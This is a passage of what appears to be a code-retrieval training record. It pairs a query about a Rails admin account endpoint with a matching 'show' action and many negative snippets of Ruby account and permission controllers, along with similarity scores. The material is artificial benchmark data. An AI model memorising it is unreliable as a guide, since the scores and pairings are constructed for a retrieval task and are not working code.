"def perform_next_action\n return false if @actions.empty?\n action = @actions.pop\n log_debug(\"Current action : #{action}\")\n send(\"perform_action_#{action[:type]}\", action)\n return true\n end",
"def can? action, service\n allowed_actions = [ALL]\n allowed_actions << decode_action(action)\n permission_index = MasasService.position(service)\n\n allowed_actions.include?(permissions_store[permission_index])\n end",
"def action_allowed?\n return true if ['Instructor', 'Teaching Assistant', 'Administrator', 'Super-Administrator'].include? current_role_name\n @teams = TeamsUser.where(user_id: current_user.try(:id))\n @teams.each do |team|\n return true if Team.where(id: team.team_id).first.parent_id == sample_submission_params[:id].to_i\n end\n false\n end",
"def actions\n response = nil\n\n lambda do |_reason, data|\n puts \"[admin] Execute block code with reason : #{reason}\"\n case_events(data.to_hash)\n end\n\n response\n end",
"def notify_of_changes_to?(model, action)\n valid_actions = models[model] || models[:all]\n\n return valid_actions == :all ||\n valid_actions == action ||\n (valid_actions.is_a?(Array) && valid_actions.include?(action))\n end",
"def check_permissions\n unless can?(:manage_app_instances, app_instance.owner)\n redirect_to mnoe_home_path, alert: \"You are not authorized to perform this action\"\n return false\n end\n true\n end",
"def verify_rights\n access_allowed?(params.slice(:controller, :action)) || permission_denied\n end",
"def check_if_user_can_perform_action_on_user\n is_current_user = (admin_user == @item)\n current_user_is_root = admin_user.is_root? && is_current_user\n\n case params[:action]\n when 'edit'\n # Edit other items is not allowed unless current user is root\n # and is not the current user.\n not_allowed if admin_user.is_not_root? && !is_current_user\n when 'toggle', 'destroy'\n not_allowed if admin_user.is_not_root? || current_user_is_root\n when 'update'\n # Admin can update himself except setting the status to false!. Other\n # users can update their profile as the attributes (role & status)\n # are protected.\n status_as_boolean = params[@object_name][:status] == \"1\" ? true : false\n\n status_changed = !(@item.status == status_as_boolean)\n role_changed = !(@item.role == params[@object_name][:role])\n\n root_changed_his_status_or_role = current_user_is_root && (status_changed || role_changed)\n not_root_tries_to_change_another_user = admin_user.is_not_root? && !is_current_user\n\n not_allowed if root_changed_his_status_or_role || not_root_tries_to_change_another_user\n end\n end"
] |
[
"0.64534366",
"0.6344579",
"0.6344579",
"0.62443626",
"0.62368023",
"0.62218964",
"0.61807346",
"0.6115768",
"0.60882264",
"0.607044",
"0.6030288",
"0.6017284",
"0.5983714",
"0.5963534",
"0.59585375",
"0.5907738",
"0.58368945",
"0.58228356",
"0.5811939",
"0.57839996",
"0.5782335",
"0.57751536",
"0.5755524",
"0.57531595",
"0.5753029",
"0.5750885",
"0.5741154",
"0.5737443",
"0.5726377",
"0.5705862",
"0.570542",
"0.5701399",
"0.5697934",
"0.5688624",
"0.56883955",
"0.56729543",
"0.5670417",
"0.5669213",
"0.56459653",
"0.56428105",
"0.5636457",
"0.56357896",
"0.56332636",
"0.5613932",
"0.561185",
"0.5609542",
"0.56030524",
"0.55943835",
"0.55911195",
"0.5590827",
"0.558722",
"0.5584543",
"0.5581615",
"0.557254",
"0.5568468",
"0.5567547",
"0.5566296",
"0.5561697",
"0.55483127",
"0.5538269",
"0.553633",
"0.55292577",
"0.55225945",
"0.5520564",
"0.5508597",
"0.55061376",
"0.54914314",
"0.5487432",
"0.54740417",
"0.5469326",
"0.5460064",
"0.54590636",
"0.5458668",
"0.5454549",
"0.54516506",
"0.54489046",
"0.5441866",
"0.54409266",
"0.5431976",
"0.54286647",
"0.54276913",
"0.5427326",
"0.5419354",
"0.5418934",
"0.54184526",
"0.5417598",
"0.5416368",
"0.5413132",
"0.5409277",
"0.54073316",
"0.5406964",
"0.5406917",
"0.54044884",
"0.54034084",
"0.5401245",
"0.5400189",
"0.5393861",
"0.53925645",
"0.5390002",
"0.53894156",
"0.53888434"
] |
0.0
|
-1
|
GET /admin/account or GET /admin/accounts/.json
|
def show
respond_to do |format|
format.html # show.html.erb
format.json { render json: @account }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def accounts\n get('/accounts')['accounts']\n end",
"def account\n get('account')\n end",
"def get_account\n as_json(get_results('/account'))\n end",
"def get_accounts()\n http_get(accounts_url)\n end",
"def show\n authorize @accounts\n render json: @account\n end",
"def show\n\t\treturn status 404 if @account.nil?\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: @account }\n\t\tend\n\tend",
"def account(params = {})\n make_get_request('/account', params)\n end",
"def account_info(options = {})\n request :account, :get, 'account', options\n end",
"def show\n email = AuthenticationHelper::Auth.instance.getEmailFromJWT( request )\n if ( email == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n user = User.find_by(email: email)\n if ( user )\n account = Account.find_by(id: params[:id], user_id: user[\"id\"])\n if ( account != nil )\n render json: account, status: :ok\n else\n render json: :nothing, status: :unprocessable_entity\n end\n else\n render json: :nothing, status: :unprocessable_entity\n end\n end",
"def show\n\t\t@account = Account.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @account }\n\t\tend\n\tend",
"def show\n account = resource\n if params[:id].present?\n account = User.find_by_id(params[:id])\n end\n render json: account, status: 200\n end",
"def show\n\n begin\n\n @account = Account.active.find_by_email(params[:id])\n @account = Account.active.find(params[:id]) if @account.nil?\n\n if @account_user.instance_of?(Account)\n #verify user is accessing his/her own account\n raise \"Username '#{@account_user.email}' does not have access to this account\" if @account != @account_user\n end\n\n render json: @account.to_json(:except=>:password, :methods => [:subdomains, :template])\n\n rescue => e\n logger.debug 'ERROR: ' + e.message\n render :json => e.message, :status => :unprocessable_entity\n end\n\n end",
"def show\n @account = Account.find_by_id(params[:id])\n if (@account)\n Rabl.render(@account, 'api/accounts/show', view_path: 'app/views')\n else\n render status: 401, json: {error: \"Invalid account\"}\n end\n end",
"def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account }\n end\n end",
"def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account }\n end\n end",
"def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account }\n end\n end",
"def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account }\n end\n end",
"def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account }\n end\n end",
"def account(id)\n make_json_api_request :get, \"v2/accounts/#{id}\"\n end",
"def show\r\n @account = Account.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @account }\r\n end\r\n end",
"def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end",
"def get_account(account_id)\n get(\"/account/#{account_id}\")\n end",
"def show_account(id)\n get(\"accounts/#{id}\")\n end",
"def admin\n unless admin_user?\n authenticate_admin\n return\n end\n @accounts = Account.user_accounts\n @projects = []\n @users = []\n \n respond_to do |format|\n format.html # admin.html.erb\n format.json { render json: @accounts }\n end \n end",
"def list_accounts\n HTTP.headers(:accept => @@accept).basic_auth(:user => ENV[\"API_USERNAME\"], :pass => ENV[\"API_PASSWORD\"])\n .get(\"#{@@base_url}/users/#{self.guid}/accounts\").parse[\"accounts\"]\n end",
"def index\n\n begin\n\n @accounts = Account.active\n render json: @accounts.to_json(:except=>:password, :methods => [:subdomains, :template] )\n\n rescue => e\n render :json => e.message, :status => :unprocessable_entity\n end\n\n end",
"def index\n #if admin, \n # show all accounts\n # else\n \n @accounts = current_user.accounts\n \n end",
"def index\n email = AuthenticationHelper::Auth.instance.getEmailFromJWT( request )\n if ( email == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n user = User.find_by(email: email)\n if ( user )\n accounts = Account.where(user_id: user[\"id\"])\n render json: accounts, status: :ok\n else\n render json: :nothing, status: :unprocessable_entity\n end\n end",
"def index\n @accounts = current_user.person.linked_in_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @accounts }\n end\n end",
"def show\n @account = current_user.person.linked_in_accounts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end",
"def index\n @account = Account.find(params[:account_id])\n @users = @account.users\n respond_to do |format|\n format.json { render json: @account.users.paginate(page: @page, per_page: @per_page) }\n end\n end",
"def show\n @account = current_user.person.blackberry_accounts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end",
"def show\n @account = Admin::Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def index\n respond_with(accounts)\n end",
"def index\n response = @account_api.find_all\n if response[:status].to_i == 403\n redirect_to home_index_path\n flash[:alert] = \"You are not allowed to access this page\"\n end\n\n @accounts = response[:accounts]\n end",
"def index\n\t\t@accounts = Account.all\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: @accounts }\n\t\tend\n\tend",
"def subaccounts()\n get('subAccounts')\n end",
"def index\n @accounts = current_user.person.blackberry_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @accounts }\n end\n end",
"def index\n @accounts = current_user.accounts\n @help = \"Account List\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @accounts }\n end\n end",
"def show\n respond_to do |format|\n format.html \n format.json { render_with_protection @account }\n end\n end",
"def show\n @account = Account.find_by_id(params[:id])\n\n respond_to do |format|\n # Allow the user to see only the accounts that are from one of his groups\n if @accounts.find {|acc| acc.id == @account.id.to_i}\n format.html # show.html.erb\n format.json { render json: @account }\n else\n flash[:error] = \"Account was not found\"\n format.html { redirect_to action: \"index\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @admin_accounts = Admin::Account.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @admin_accounts }\n end\n end",
"def index\n @accounts = Account.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @accounts }\n end\n end",
"def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account }\n format.json { render :json => @account }\n end\n end",
"def show\n @accounts = Account.where(user_id: params[:id])\n if current_user and @accounts == nil\n if is_admin?\n redirect_to admin_path(current_user[:id])\n else\n redirect_to current_user\n end\n end\n end",
"def accounts\r\n AccountsController.instance\r\n end",
"def accounts\r\n AccountsController.instance\r\n end",
"def account_info()\n response = @session.do_get build_url(\"/account/info\")\n parse_response(response)\n end",
"def show\n @management_account = ManagementAccount.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @management_account }\n end\n end",
"def get_list_acc\n JSON.parse(curl_get(\"accounts\").body_str)\n end",
"def show\n respond_with current_account\n end",
"def show\n respond_with current_account\n end",
"def index\n @api_v1_accounts = Api::V1::Account.all\n end",
"def show\n @account = current_user.person.gmail_accounts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end",
"def getAccounts\n broker_url = APP_CONFIG['broker_ip'] + ':' + APP_CONFIG['broker_port'].to_s\n http = broker_url + \"/resources/accounts\"\n res = httpGETRequest(http)\n return res\n end",
"def show\n @tab=\"account\"\n if current_user\n if current_user.admin\n @user = get_user(params[:id])\n else\n @user = get_user(current_user.id)\n end\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n @admin_accounting_bank_account = Admin::AccountingBankAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_accounting_bank_account }\n\n end\n end",
"def show\n response = @account_api.find(params[:id])\n @account = response[:account]\n # @user = RubyBank::CustomerApi.new(session[:token]).find(@account.customer_id)[:user]\n end",
"def show\n @admin = AdminAccount.find_by_id(session[:admin_id])\n @user_account = UserAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_account }\n end\n end",
"def accounts_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AccountsApi.accounts_get ...\"\n end\n # resource path\n local_var_path = \"/api/Accounts\"\n\n # query parameters\n query_params = {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AccountPage')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountsApi#accounts_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_acc_info\n JSON.parse(curl_get(\"/api2/account/info/\").body_str)\n end",
"def show\n @admin = AdminAccount.find_by_id(session[:admin_id])\n @admin_account = AdminAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @admin_account }\n end\n end",
"def show\n @user_account_app = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_account_app }\n end\n end",
"def show\n @account = current_user.person.phone_accounts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end",
"def index\n @user = User.find(params[:user_id])\n @user_accounts = @user.user_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_accounts }\n format.xml { render xml: @user_accounts }\n end\n end",
"def index\n @accounts = current_user.accounts\n end",
"def index\n @accounts = current_user.accounts\n end",
"def index\n @accounts = current_user.person.phone_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @accounts }\n end\n end",
"def show\n account = Account.find(params[:id])\n render json: PrivateAccountSerializer.new(account).serializable_hash\n end",
"def account\n @member = current_user.member\n @user = current_user\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @member }\n end\n end",
"def settings\n get('/account/settings.json')\n end",
"def get_accounts\n response_xml = http_get(@client, \"#{xero_url}/Accounts\")\n parse_response(response_xml, {}, {:request_signature => 'GET/accounts'})\n end",
"def show\n @user_account = UserAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_account }\n format.xml { render xml: @user_account }\n end\n end",
"def index\n index = json_account_params[:json_id].to_i if !index \n if admin_signed_in?\n @accounts = Account.all\n else\n @accounts = Account.tri(@current_user.id).all[(index)..(index + 5)]\n end\n index = index + 1\n respond_to do |format|\n format.html\n format.json { render json: @accounts, locals: {last: \"@last\"} }\n end\n end",
"def show\n @linked_account = LinkedAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @linked_account }\n end\n end",
"def index\n @accounts = policy_scope(Account)\n\n render json: @accounts, include: [:user]\n end",
"def account_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: IdentityApi.account_get ...\"\n end\n # resource path\n local_var_path = \"/account\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AccountResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IdentityApi#account_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def account(&block)\n response = _get(\"accounts/current\")\n yield(response) if block_given?\n response[\"account\"]\n end",
"def get_accounts_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AccountsApi.get_accounts ...'\n end\n # resource path\n local_var_path = '/v1/accounts'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/links+json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n return_type = opts[:return_type] || 'InlineResponse20011' \n\n auth_names = opts[:auth_names] || ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type)\n\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountsApi#get_accounts\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\r\n\r\n\r\n @account = Account.find(params[:id])\r\n @workers = @account.workers\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @account }\r\n end\r\n end",
"def index # ☑️ will get all users\n if current_user.admin == true \n render json: User.all\n else \n render json: {message: \"Authorized access denied. Admin status: #{current_user.admin}\"} \n end\n end",
"def index\n #@accounts = Account.all\n redirect_to root_path\n #respond_to do |format|\n #format.html # index.html.erb\n #format.json { render json: @accounts }\n #end\n end",
"def account_user(id)\n get(\"accountuser/#{id}\")\n end",
"def show\n @account = Account.find(params[:account_id])\n end",
"def get_accounts_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AccountsApi.get_accounts ...'\n end\n # resource path\n local_var_path = '/accounts'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AccountListResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountsApi#get_accounts\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_current_tenant \n get(\"/tenants.json/current\")\nend",
"def index\n @accounts = current_user.person.gmail_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @accounts }\n end\n end",
"def show\n @personal_account = PersonalAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @personal_account }\n end\n end",
"def getaccountdetails(params = {})\n request :getaccountdetails, params.merge( :parser => :hash)\n end",
"def show\n @admin = Admin.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin }\n end\n end",
"def show_accounts(search = nil, **params)\n params[:search] = search\n\n get('accounts', params)\n end",
"def show\n @admin_admin_user = Admin::AdminUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_admin_user }\n end\n end",
"def get_account_status\n send_post(\"/accountStatus\", {})\n end",
"def get_account_status\n send_post(\"/accountStatus\", {})\n end",
"def show\n begin\n @resource = Account.find(params[:id])\n render :response => :GET\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end",
"def all_accounts\n puts params[:id]\n accounts = []\n user = User.find params[:id]\n user.accounts.each do |f|\n accounts << {id:f.id, title: f.title}\n end\n render json: accounts\n end",
"def show\n @company_account = CompanyAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @company_account }\n end\n end",
"def show\n @manager_account = ManagerAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manager_account }\n end\n end",
"def account_information\n response = get \"account\"\n data = JSON.parse response.body\n data[\"account\"][\"credits\"]\n end",
"def account_information\n response = get \"account\"\n data = JSON.parse response.body\n data[\"account\"][\"credits\"]\n end"
] |
[
"0.7694129",
"0.7624846",
"0.76068217",
"0.7504925",
"0.74661034",
"0.74210656",
"0.72147924",
"0.71090424",
"0.7077803",
"0.7075103",
"0.7048264",
"0.7041467",
"0.7035852",
"0.70063543",
"0.70063543",
"0.70063543",
"0.70063543",
"0.70063543",
"0.69776946",
"0.6957094",
"0.6933715",
"0.69103444",
"0.68975496",
"0.68669134",
"0.6783929",
"0.6760033",
"0.67529166",
"0.67468697",
"0.6737406",
"0.6711572",
"0.6710861",
"0.670484",
"0.66744256",
"0.66709393",
"0.6662064",
"0.6636748",
"0.66346735",
"0.6628199",
"0.6612207",
"0.66074765",
"0.65788877",
"0.6509674",
"0.6509298",
"0.65035486",
"0.65031874",
"0.6501985",
"0.6501985",
"0.6501343",
"0.64989686",
"0.64962584",
"0.6496241",
"0.6496241",
"0.6483168",
"0.64793843",
"0.6471356",
"0.6454028",
"0.6453811",
"0.6449676",
"0.64473546",
"0.6430799",
"0.6412214",
"0.6410502",
"0.6403169",
"0.63995934",
"0.6398597",
"0.6397851",
"0.6397851",
"0.63965523",
"0.6389392",
"0.6381272",
"0.63781154",
"0.63753456",
"0.63721895",
"0.6364792",
"0.6363818",
"0.6349522",
"0.6337869",
"0.63368386",
"0.63193196",
"0.63167804",
"0.6316463",
"0.62896806",
"0.6287468",
"0.62820464",
"0.6278868",
"0.6270474",
"0.6267623",
"0.6262565",
"0.6243426",
"0.6237209",
"0.6236527",
"0.62330145",
"0.6229503",
"0.6229503",
"0.6229112",
"0.62177056",
"0.6215202",
"0.62145287",
"0.6212295",
"0.6212295"
] |
0.7075133
|
9
|
PUT /admin/account or PUT /admin/account/.json
|
def update
params[:account].delete(:preferred_smtp_password) if params[:account][:preferred_smtp_password].blank?
respond_to do |format|
if @account.update_attributes(params[:account])
format.html { redirect_to dm_core.admin_account_url, notice: "Account was successfully updated." }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @account.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n authorize @account\n if @account.update(account_params)\n render json: { status: :ok, account: @account }\n else\n render json: {error: @account.errors, status: :unprocessable_entity }\n end\n end",
"def update\n account = current_organization.accounts.find(params[:id])\n return forbidden unless account && current_account.allowed_to_edit_account?(account, current_organization)\n return json(account) unless account.update_attributes pick(params, :first_name, :last_name, :email,:language, :document_language)\n\n role = pick(params, :role)\n #account.update_attributes(role) if !role.empty? && current_account.admin?\n membership = current_organization.role_of(account)\n membership.update_attributes(role) if !role.empty? && current_account.admin?\n password = pick(params, :password)[:password]\n if (current_account.id == account.id) && password\n account.update(password: password)\n end\n json account.canonical(membership: membership)\n end",
"def update \n begin\n @resource = Account.find(params[:id])\n @resource.update_attributes!(params[:account])\n render :response => :PUT\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end",
"def update\n @account = Account.find(params[:id])\n authorize! :update, @account\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_account(account_id, payload)\n put(\"/account/#{account_id}\", payload)\n end",
"def update\n email = AuthenticationHelper::Auth.instance.getEmailFromJWT( request )\n if ( email == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n user = User.find_by(email: email)\n if ( user )\n account = Account.find_by(user_id: user[\"id\"], id: params[:id])\n \n if ( account == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n if account.update(account_params)\n render json: account, status: :ok\n else\n render json: account.errors, status: :unprocessable_entity\n end\n else\n render json: :nothing, status: :unprocessable_entity\n end\n end",
"def update\n if @account.update(account_params)\n render :show, status: :ok, location: @account\n else\n render json: @account.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_account.update(api_v1_account_params)\n format.html { redirect_to @api_v1_account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_account }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend",
"def update\n authorize @account, :edit?\n respond_to do |format|\n if @account.update_aliases(@aliases) &&\n @account.update(account_params_with_author)\n # keep @account.save at the end of the condition bellow to ensure the right object is returned during rendering\n\n format.html do\n render :show, notice: \"Account was successfully updated.\"\n end\n format.json do\n render json: @account, status: :ok, location: :api_v2_account\n end\n else\n format.html { render :edit }\n format.json do\n render json: @account.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to quick_launch_path, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @account = Account.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @account.update_attributes(params[:account])\r\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @account.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to edit_account_url(@account), notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to edit_user_info_path(session[:user_info_no]) }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n sign_in @account\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_account(client, options)\n accounts = get_accounts(client, options)\n if accounts.nil?\n return\n end\n\n account = find_account(accounts, options[:email])\n if !account.nil?\n if !options[:firstname].nil?\n account.given_name = options[:firstname]\n end\n if !options[:surname].nil?\n account.surname = options[:surname]\n end\n if !options[:username].nil?\n account.username = options[:username]\n end \n if !options[:password].nil?\n account.password = options[:password]\n end\n if !options[:status].nil?\n account.status = (options[:status] == \"disabled\" ? Stormpath::Resource::Status::DISABLED : Stormpath::Resource::Status::ENABLED)\n end\n\n begin\n account.save\n puts \"Account updated.\"\n rescue Stormpath::Error => e\n print_error(e)\n end\n else\n puts \"Account not found\"\n return\n end\nend",
"def update\n @account = Admin::Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Admin::Account was successfully updated.'\n format.html { redirect_to(@account) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
